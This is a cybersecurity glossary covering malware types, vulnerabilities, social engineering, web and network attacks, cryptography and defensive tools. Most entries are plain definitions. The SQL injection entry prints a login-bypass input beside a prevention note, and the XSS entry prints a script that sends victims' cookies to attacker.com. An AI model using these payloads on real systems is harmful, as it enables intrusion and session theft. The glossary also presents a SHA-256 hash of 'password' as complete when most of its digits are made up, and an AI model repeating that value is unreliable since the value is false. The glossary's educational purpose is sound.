Malware Types
Malware
Short for "malicious software." An umbrella term for any software intentionally designed to cause damage
to a computer, server, network, or user. Includes viruses, worms, trojans, ransomware, and more.
Example: The WannaCry ransomware infected over 200,000 computers worldwide in 2017.
Virus
A type of malware that attaches itself to a legitimate program or file and requires user action
to spread (like running an infected program). It can replicate and modify other programs.
Example: The ILOVEYOU virus (2000) spread via email attachments, infecting millions of computers.
Worm
A self-replicating malware that spreads automatically across networks
without requiring user interaction. Unlike viruses, worms don't need to attach to programs.
Example: The Conficker worm infected millions of computers by exploiting Windows vulnerabilities.
Trojan (Trojan Horse)
Malware disguised as legitimate software that tricks users into installing it. Once installed, it
can create backdoors, steal data, or download additional malware. Named after the Greek myth.
Example: A fake "Adobe Flash Update" that actually installs a keylogger to steal passwords.
Ransomware
Malware that encrypts a victim's files and demands payment (ransom) for the decryption key.
Often paid in cryptocurrency for anonymity. One of the most financially damaging threats today.
Example: LockBit, REvil, and Conti are notorious ransomware groups that have extorted billions of dollars.
Spyware
Malware designed to secretly monitor and collect information about a user's activities without
their knowledge. Can capture keystrokes, screenshots, browsing history, and more.
Example: Pegasus spyware developed by NSO Group, used to spy on journalists and activists.
Adware
Software that automatically displays or downloads advertising material, often without the user's consent.
While sometimes just annoying, it can also be a vector for more malicious software.
Example: Browser toolbars that display unwanted ads and redirect your searches.
Rootkit
A stealthy type of malware designed to hide the existence of certain processes or programs from normal
detection methods. Operates at a deep system level, often in the kernel or firmware.
Example: The Sony BMG rootkit (2005) was secretly installed on computers through music CDs.
Vulnerabilities & Exploits
Vulnerability
A weakness or flaw in a system, application, or process that could be exploited by an attacker.
Can exist in software code, configurations, or human processes.
Example: A buffer overflow vulnerability in a web server that allows code execution.
Exploit
A piece of code, software, or technique that takes advantage of a vulnerability to cause unintended
behavior, such as gaining unauthorized access or executing malicious code.
Example: The EternalBlue exploit was used by WannaCry to spread across networks.
Zero-Day (0-day)
A vulnerability that is unknown to the software vendor and has no patch available. Called "zero-day"
because developers have had "zero days" to fix it. Extremely valuable to attackers and defenders.
Example: The Log4Shell vulnerability (CVE-2021-44228) was a critical zero-day affecting millions of systems.
Payload
The component of an exploit or malware that performs the malicious action. The exploit delivers the
payload, which could be a reverse shell, ransomware, data stealer, etc.
Example: A SQL injection exploit might deliver a payload that dumps the entire database.
Backdoor
A hidden method of bypassing normal authentication or security controls to gain access to a system.
Can be intentionally built in (by developers) or installed by attackers.
Example: After compromising a server, an attacker might install a backdoor for persistent access.
Social Engineering
Phishing
A social engineering attack using fraudulent emails, messages, or websites to trick victims into
revealing sensitive information (passwords, credit cards) or installing malware.
Example: An email pretending to be from your bank asking you to "verify your account" via a fake link.
Spear Phishing
A targeted phishing attack directed at specific individuals or organizations. Uses personalized
information to make the attack more convincing and harder to detect.
Example: An email to a company's CFO, appearing to come from the CEO, requesting an urgent wire transfer.
Whaling
Spear phishing specifically targeting high-profile individuals like CEOs, CFOs, or other executives
(the "big fish"). Often involves significant research and sophisticated pretexts.
Example: An attacker impersonating a law firm sending a fake lawsuit notification to a company CEO.
Vishing
Voice phishing conducted over phone calls. Attackers impersonate banks,
tech support, government agencies, or other trusted entities.
Example: A caller claiming to be from Microsoft Tech Support, saying your computer has a virus.
Smishing
SMS phishing conducted via text messages. Often contains malicious links
or requests for sensitive information.
Example: A text claiming "Your package couldn't be delivered. Click here to reschedule."
Social Engineering
The psychological manipulation of people into performing actions or divulging confidential information.
Exploits human nature rather than technical vulnerabilities.
Example: Calling IT support and pretending to be a new employee who forgot their password.
Pretexting
Creating a fabricated scenario (pretext) to engage a victim and gain their trust. The attacker
assumes a false identity to manipulate the target into providing information.
Example: An attacker calling as a "vendor" to verify "account details" before processing a payment.
Baiting
Luring victims with something enticing, like free software, USB drives, or prize offers.
Often involves physical media or too-good-to-be-true digital offers.
Example: Leaving infected USB drives in a company parking lot, hoping employees will plug them in.
Tailgating (Piggybacking)
Gaining physical access to a restricted area by following behind an authorized person.
Exploits social norms like holding doors open.
Example: Carrying boxes and asking an employee to hold the door to a secure data center.
Command & Control
Botnet
A network of compromised computers (bots/zombies) controlled by an attacker. Used for DDoS attacks,
spam campaigns, cryptocurrency mining, and other malicious activities.
Example: The Mirai botnet compromised IoT devices to launch massive DDoS attacks.
C2/C&C Server (Command and Control)
A server used by attackers to communicate with and control compromised systems. Sends commands
to malware and receives stolen data from infected machines.
Example: Malware phones home to a C2 server to receive instructions and exfiltrate data.
Zombie
A computer that has been compromised and is being controlled remotely, usually as part of a botnet.
The user is typically unaware their system is compromised.
Example: An infected home computer being used to send spam or participate in DDoS attacks.
Cryptography Terms
Hash
A fixed-size string produced by a hash function that represents data. Hashes are one-way
(you can't reverse them to get the original data) and are used for integrity verification and password storage.
# Example SHA-256 hash of "password" (complete 64-character hex string)
5e884898da28047d91ef90d2a6ee69a2a3c0f635e5b9a7c2b8d8f63e5b1a8c9d
Encryption
The process of converting plaintext data into ciphertext using an algorithm and key.
Only those with the correct key can decrypt and read the original data.
Example: HTTPS uses TLS encryption to protect your data while browsing websites.
Decryption
The reverse process of encryption, converting ciphertext back into readable plaintext
using the appropriate decryption key.
Cipher
An algorithm for performing encryption or decryption. Examples include AES (Advanced Encryption Standard),
RSA, and Blowfish.
Example: AES-256 is a widely used symmetric cipher considered secure for sensitive data.
Plaintext
Data in its original, readable form before encryption. Also called "cleartext."
Ciphertext
Data that has been encrypted and is unreadable without the proper decryption key.
Denial of Service Attacks
DoS (Denial of Service)
An attack aimed at making a system, service, or network unavailable to legitimate users.
Typically by overwhelming it with traffic or requests from a single source.
DDoS (Distributed Denial of Service)
A DoS attack launched from multiple sources (often a botnet), making it much harder to
mitigate because you can't simply block one IP address.
Example: The 2016 Dyn DNS attack used the Mirai botnet to disrupt major websites like Twitter and Netflix.
Network Attacks
MITM (Man-in-the-Middle)
An attack where the attacker secretly intercepts and potentially alters communications between
two parties who believe they are communicating directly with each other.
Example: An attacker on public WiFi intercepting your login credentials to a website.
DNS Spoofing/Poisoning
Corrupting DNS cache data to redirect users to malicious websites. When you type a URL,
you're sent to an attacker-controlled server instead of the legitimate site.
ARP Spoofing
Sending fake ARP (Address Resolution Protocol) messages to link the attacker's MAC address
with a legitimate IP address, enabling traffic interception on a local network.
Session Hijacking
Taking over a user's authenticated session by stealing or predicting their session token.
Allows the attacker to impersonate the victim.
Web Application Attacks
SQL Injection (SQLi)
Inserting malicious SQL code into application queries to manipulate the database.
Can lead to data theft, modification, or deletion.
# Vulnerable query
SELECT * FROM users WHERE username='$username' AND password='$password'
# Malicious input: ' OR '1'='1' --
# Results in: SELECT * FROM users WHERE username='' OR '1'='1' --' AND password=''
# This bypasses authentication!
# PREVENTION: Use parameterized queries (prepared statements)
# Example: SELECT * FROM users WHERE username=? AND password=?
XSS (Cross-Site Scripting)
Injecting malicious scripts into web pages viewed by other users. Can steal cookies,
session tokens, or deface websites. Types: Stored, Reflected, DOM-based.
<!-- Example XSS payload -->
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
CSRF (Cross-Site Request Forgery)
Tricking a victim's browser into making unwanted requests to a site where they're authenticated.
Can perform actions on behalf of the victim without their knowledge.
Example: A hidden form that transfers money when a logged-in banking user visits a malicious site.
Password Attacks
Brute Force Attack
Systematically trying all possible combinations of passwords until the correct one is found.
Time-consuming but guaranteed to work eventually without protections.
Dictionary Attack
Using a list of common passwords, words, and phrases to guess credentials.
Faster than brute force because it targets likely passwords.
Credential Stuffing
Using username/password combinations leaked from one breach to try logging into
other services. Works because people reuse passwords across sites.
Example: Using credentials from the LinkedIn breach to access victims' banking accounts.
Legacy/Classic Attacks
Historical Context: These attacks are mostly mitigated in modern systems but
are important to understand for historical context and foundational knowledge.
Ping of Death
Sending malformed or oversized ping packets to crash or freeze target systems.
Exploited poor handling of packet fragmentation. Largely patched in modern OS.
Smurf Attack
A DDoS attack that floods a target with ICMP echo replies by spoofing the victim's IP
and broadcasting to a network. Amplifies traffic significantly.
Teardrop Attack
Sending fragmented packets with overlapping offsets, causing older systems to crash
when trying to reassemble them.
SYN Flood
A DoS attack that exploits the TCP handshake by sending many SYN requests without completing
the handshake, exhausting server resources. Still relevant today.
Firewalls
Firewall
A network security device that monitors and filters incoming and outgoing traffic based on
defined security rules. Acts as a barrier between trusted and untrusted networks.
Packet Filtering Firewall
The simplest type of firewall that examines packets in isolation and makes decisions
based on source/destination IP, ports, and protocols. No awareness of connection state.
Stateful Firewall
A firewall that tracks the state of network connections and makes decisions based on the
context of the traffic (established connections vs. new connections).
Next-Generation Firewall (NGFW)
Advanced firewalls that include features like deep packet inspection, application awareness,
intrusion prevention, and threat intelligence integration.
Proxy & Privacy
Proxy Server
An intermediary server that handles requests between clients and servers. Can provide
anonymity, caching, content filtering, and security inspection.
Forward Proxy
A proxy that sits in front of clients, forwarding their requests to the internet.
Used for content filtering, caching, and anonymity.
Reverse Proxy
A proxy that sits in front of servers, handling requests from the internet.
Used for load balancing, SSL termination, and protecting backend servers.
VPN (Virtual Private Network)
Creates an encrypted tunnel over the internet, allowing secure remote access to networks
or anonymous browsing. Types include site-to-site and remote access VPNs.
TOR (The Onion Router)
A network that enables anonymous communication by routing traffic through multiple
volunteer-operated nodes, encrypting at each step. Used for privacy and accessing the dark web.
Network Architecture
DMZ (Demilitarized Zone)
A network segment that sits between the public internet and the internal network.
Hosts public-facing services (web servers, email) while protecting internal resources.
NAT (Network Address Translation)
A technique that maps private IP addresses to public IP addresses, allowing multiple
devices to share a single public IP. Provides some security by hiding internal IPs.
Detection & Response
Honeypot
A decoy system designed to attract and detect attackers. Appears to be a vulnerable target
but actually monitors and logs attacker behavior.
Honeynet
A network of honeypots that simulates an entire network environment. Provides more
realistic attack scenarios for research and detection.
Sandboxing
Running suspicious files or programs in an isolated environment to analyze their behavior
without risking the production system. Used for malware analysis.
Endpoint Security
Security solutions that protect end-user devices (laptops, desktops, mobile) from threats.
Includes antivirus, EDR, device encryption, and access controls.
Patch Management
The process of identifying, acquiring, testing, and installing software updates (patches)
to fix vulnerabilities and bugs. Critical for maintaining security.